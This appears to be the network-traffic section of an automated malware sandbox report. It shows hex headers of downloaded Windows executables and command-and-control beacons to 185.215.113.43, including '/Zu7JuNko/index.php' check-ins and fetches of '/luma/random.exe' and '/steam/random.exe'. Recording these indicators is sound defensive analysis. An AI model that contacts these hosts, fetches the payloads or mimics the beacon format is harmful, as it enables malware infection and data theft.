00 00 00 00 00 00 00 40 00 00 e0 64 73 78 75 69 6c 6a 70 00 b0 19 00 00 00 4f 00 00 a8 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 73 63 6a 69 61 62 76 00 10 00 00 00 b0 68 00 00 04 00 00 00 20 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 68 00 00 22 00 00 00 24 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:22:27 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Sat, 23 Nov 2024 16:29:48 GMTConnection: keep-aliveETag: "674202fc-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f4 02 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 dd 15 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 74 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 74 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:22:34 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Sat, 23 Nov 2024 16:30:15 GMTConnection: keep-aliveETag: "67420317-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 77 76 66 70 71 70 6a 00 20 2a 00 00 a0 00 00 00 1c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 68 66 6c 77 72 77 00 20 00 00 00 c0 2a 00 00 04 00 00 00 56 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:22:44 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Sat, 23 Nov 2024 16:30:17 GMTConnection: keep-aliveETag: "67420319-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 77 76 66 70 71 70 6a 00 20 2a 00 00 a0 00 00 00 1c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 68 66 6c 77 72 77 00 20 00 00 00 c0 2a 00 00 04 00 00 00 56 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:22:52 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Sat, 23 Nov 2024 16:30:17 GMTConnection: keep-aliveETag: "67420319-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 77 76 66 70 71 70 6a 00 20 2a 00 00 a0 00 00 00 1c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 68 66 6c 77 72 77 00 20 00 00 00 c0 2a 00 00 04 00 00 00 56 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:23:14 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Sat, 23 Nov 2024 16:30:17 GMTConnection: keep-aliveETag: "67420319-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 77 76 66 70 71 70 6a 00 20 2a 00 00 a0 00 00 00 1c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 68 66 6c 77 72 77 00 20 00 00 00 c0 2a 00 00 04 00 00 00 56 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:23:29 GMTContent-Type: application/octet-streamContent-Length: 4384256Last-Modified: Sat, 23 Nov 2024 17:21:55 GMTConnection: keep-aliveETag: "67420f33-42e600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 e5 15 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 23 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 22 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 6e 76 70 74 79 67 00 40 1b 00 00 f0 a8 00 00 34 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 67 78 6b 61 64 77 73 00 10 00 00 00 30 c4 00 00 04 00 00 00 c0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c4 00 00 22 00 00 00 c4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732382781832Host: self.events.data.microsoft.comContent-Length: 7976Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008483001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008484001&unit=246122658369
